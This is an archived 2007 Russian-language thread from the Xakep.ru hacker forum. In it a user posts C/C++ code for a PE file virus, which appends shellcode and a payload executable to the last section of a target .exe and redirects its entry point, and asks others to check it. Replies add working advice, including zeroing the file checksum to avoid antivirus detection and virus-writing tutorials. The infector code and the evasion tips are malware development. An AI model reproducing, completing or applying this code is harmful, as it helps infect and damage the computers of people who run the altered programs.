Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

ЗАРАЖЕНИЕ методом расширения последней секции

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> ЗАРАЖЕНИЕ методом расширения последней секции
Имя
Сообщение << Старые топики   Новые топики >>
ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-17 00:19:12.283333   
promix

Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
Здравствуйте! Есть код, который заражает РЕ файл методом создания новой секции. Мне надо, чтобы он заражал методом записи в конец последней секции. И я изменил чуть данный код. Так вот, мне хотелось бы узнать, правилен ли измененный код и чего не хватает?
 

BOOL Infect(PCHAR To,PCHAR From)
{
 PVOID pExe = MapFile(To,0);
 if (pExe==NULL) return 0;
 if (!IsPe((char*)pExe)) return 0;
 if(IsInfect(To)) return 0;
 DWORD FileAlignment = GetFileAlignment(pExe);
 UnmapViewOfFile(pExe);
 HANDLE hFile = CreateFile(From,
  GENERIC_WRITE | GENERIC_READ,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  NULL);
 if (hFile==INVALID_HANDLE_VALUE) return 0;
 DWORD FileSize = GetFileSize(hFile,0);
 CloseHandle(hFile);
 DWORD FileSizeFrom = FileSize;
 FileSize+=sizeof(shellcode);
 FileSize = ALIGN_UP(FileSize,FileAlignment);
 HANDLE hFile2 = CreateFile(To,
  GENERIC_WRITE | GENERIC_READ,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  NULL);
 if (hFile2==INVALID_HANDLE_VALUE) return 0;
 DWORD NewSize = GetFileSize(hFile2,0);
 NewSize+=FileSize;
 CloseHandle(hFile2);
 pExe = MapFile(To,NewSize+FileAlignment);
 if (pExe==NULL) return 0;
 PIMAGE_NT_HEADERS pNt = GetPeHeader(pExe);
 PIMAGE_SECTION_HEADER pSection = GetSectionTable(pExe);
 PIMAGE_SECTION_HEADER pLastSection = pSection;

 for (int i=0;i<pNt->FileHeader.NumberOfSections;i++)
 {
  if (pSection->PointerToRawData>pLastSection->PointerToRawData && pSection->VirtualAddress>pLastSection->VirtualAddress)
  {
   pLastSection = pSection;
  }
  pSection++;
 }
 if (pLastSection->SizeOfRawData==0) return FALSE;
 pLastSection->SizeOfRawData=ALIGN_UP(pLastSection->SizeOfRawData,pNt->FileAlignment);
 pLastSection->Misc.VirtualSize=ALIGN_UP(pLastSection->Misc.VirtualSize,pNt->OptionalHeader.SectionAlignment);
/*?*/ DWORD OEP = pNt->OptionalHeader.ImageBase + pNt->OptionalHeader.AddressOfEntryPoint;
 DWORD ToWrite = (DWORD)pExe + pLastSection->PointerToRawData + pLastSection->SizeOfRawData;
/*?*/ pNt->OptionalHeader.AddressOfEntryPoint = pLastSection->VirtualAddress + pLastSection->SizeOfRawData;
 pLastSection->SizeOfRawData = pLastSection->SizeOfRawData + FileSize;
 pLastSection->Characteristics = 0xa0000020;
 pLastSection->Misc.VirtualSize = pLastSection->Misc.VirtualSize + ALIGN_UP(FileSize,4096);
 pNt->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize/* + 4096*/;
 pNt->OptionalHeader.SizeOfCode = pNt->OptionalHeader.SizeOfImage;

 _asm
 {
  lea eax,shellcode
  mov edx,FileSizeFrom
  mov dword ptr [eax+OffsetFileSize],edx
  mov edx,OEP
  mov dword ptr [eax+OEPOffset],edx
 }
 memcpy((PVOID)ToWrite,shellcode,sizeof(shellcode));
 ToWrite+=sizeof(shellcode);
 PVOID MapFileFrom = MapFile(From,0);
 if (MapFileFrom==NULL) return 0;
 if (!IsPe((char*)MapFileFrom)) return 0;
 memcpy((PVOID)ToWrite,MapFileFrom,FileSizeFrom);
 return TRUE;
}
 
shellcode-массив, внедряемый в файл. MapFile()-функция мэппинга файла.
Post #: 1
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-18 05:32:53.520000   
promix

Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
Народ, ну что, никто не может подсказать? Действительно очень надо.
Post #: 2
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-18 12:00:33.123333   
tt_andrey

Сообщений: 213
Оценки: 0
Присоединился: 2007-07-03 13:54:36.440000
Ты хочешь, чтобы народ сломал себе глаза и моск, читая неотформатированный код без отступов?
Post #: 3
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 19:04:29.083333   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
Аффтар, дуй на http://wasm.ru сливай полную копию себе на жеский и читай .. там оч много полезного .. и по вирусологии тоже.

ЗЫ:
прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его.
Post #: 4
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 21:53:05.423333   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
Вроде всё впорядке. Но чтобы проверить надо запустить, а ковыряться в твоём коде я не хочу, у меня своих вирей достаточно :))
 
З.Ы. Я бы посоветовал ещё сбросить чексумму файла в 0 (PE+58h), а то битая чексумма может спровоцировать антивирусник :))
Post #: 5
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 21:59:10.153333   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
quote:

ORIGINAL: blacksun
прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его.

 
blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"?
Post #: 6
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 22:18:19   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000

quote:

ORIGINAL: redsh

quote:

ORIGINAL: blacksun
прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его.


blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"?

Читай название топика: ".. расшырение"
Post #: 7
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 22:19:40.850000   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
http://wasm.ru/article.php?article=pe_inf#3
Оч хороший тутор, как и весь http://wasm.ru
Post #: 8
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 23:06:43.180000   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
quote:

ORIGINAL: blacksun

quote:

ORIGINAL: redsh

quote:

ORIGINAL: blacksun
прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его.


blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"?

Читай название топика: ".. расшырение"


Объясни дураку, как bound-импорты могут помешать расширить последнюю секцию. Они вроде бы после таблицы секций, а не в конце файла…
Post #: 9
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-21 23:27:38.813333   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
quote:

ORIGINAL: redsh

quote:

ORIGINAL: blacksun

quote:

ORIGINAL: redsh

quote:

ORIGINAL: blacksun
прежде, чем расширять последнюю секцию, надо проверить наличие боунд-импорта и если он есть, то передвинуть его.


blacksun, ты хотел сказать "прежде, чем добавлять новую секцию"?

Читай название топика: ".. расшырение"


Объясни дураку, как bound-импорты могут помешать расширить последнюю секцию. Они вроде бы после таблицы секций, а не в конце файла…

Я в виреписании сам неочень разбираюсь, но в какомто тутре с васма читал, что боунд импорт помешает и его надо передвинуть, если туплю - поправте))

ЗЫ:
руки уже глючат, пойду ка я спать :)
Post #: 10
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 02:41:16.950000   
promix

Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
Насчет боунд-импортов: может их лучше затереть нулем? За линки спасибо, почитал - немного все разъяснилось. Насчет чексуммы тоже, попробую:) Еще вот хотел спросить: shellcode в данном примере - это массив машинных команд. А есть ли способ и какой писать этот базонезависимый код только на С/С++?
Post #: 11
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 09:30:59.400000   
redsh

Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
quote:

ORIGINAL: blacksun

Я в виреписании сам неочень разбираюсь, но в какомто тутре с васма читал, что боунд импорт помешает и его надо передвинуть, если туплю - поправте))


Читал я этот тутор. Там написано, что если хочешь добавить новую секцию, то тебе придётся изменять размер таблицы секций. Но перед этим стоит проверить, нет ли после таблицы секций bound-import-ов. Если они есть, то их нужно передвинуть, но перед этим проверить, не залезут ли они в первую секцию. В общем, загляни ещё разок в этот тутор, ок?
 
2promix нащёт bound-импортов не беспокойся, это blacksun всё поперепутал:))
Post #: 12
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 10:41:07.580000   
tt_andrey

Сообщений: 213
Оценки: 0
Присоединился: 2007-07-03 13:54:36.440000
quote:

Насчет боунд-импортов: может их лучше затереть нулем? За линки спасибо, почитал - немного все разъяснилось. Насчет чексуммы тоже, попробую:) Еще вот хотел спросить: shellcode в данном примере - это массив машинных команд. А есть ли способ и какой писать этот базонезависимый код только на С/С++?


что-то типа

char shellcode[] = "\x31\x32\x33\x5f\xfd\x0d";
?
Post #: 13
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 12:37:24.616666   
dalfos

Сообщений: 30
Оценки: 0
Присоединился: 2007-08-21 20:46:10.450000
Можно сделать немного по-другому написать функцию на c/c++, в которой задать статические переменные, а перед заражением файла прописать в них нужную информацию (в том числе и базу). Собственно, что то подоное я делал, но давно, если поискать может и исходник найду.
Post #: 14
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-22 12:42:10.766666   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
quote:


Читал я этот тутор. Там написано, что если хочешь добавить новую секцию, то тебе придётся изменять размер таблицы секций. Но перед этим стоит проверить, нет ли после таблицы секций bound-import-ов. Если они есть, то их нужно передвинуть, но перед этим проверить, не залезут ли они в первую секцию. В общем, загляни ещё разок в этот тутор, ок?

Так и знал, что что то напутал) Перечитаю исчо раз, а то малоли, чего я еще неправильно понял ..
Post #: 15
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-25 15:06:48.750000   
promix

Сообщений: 20
Оценки: 0
Присоединился: 2007-06-06 13:14:22.533333
Всем спасибо.
Post #: 16
RE: ЗАРАЖЕНИЕ методом расширения последней секции - 2007-08-28 00:23:15.436666   
ChooseDeath

Сообщений: 19
Оценки: 0
Присоединился: 2007-07-30 15:13:05.753333
Мож я чёт не понимаю, ил чё…
Я делал так :
в pe-заголовке увеличивал размер образа на размер функции,
которую хотел внедрить, писал функцию в конец файла,
и изменял rva точки входа на  свою функцию и сё, всё прекрасно работало..
Post #: 17
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> ЗАРАЖЕНИЕ методом расширения последней секции







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.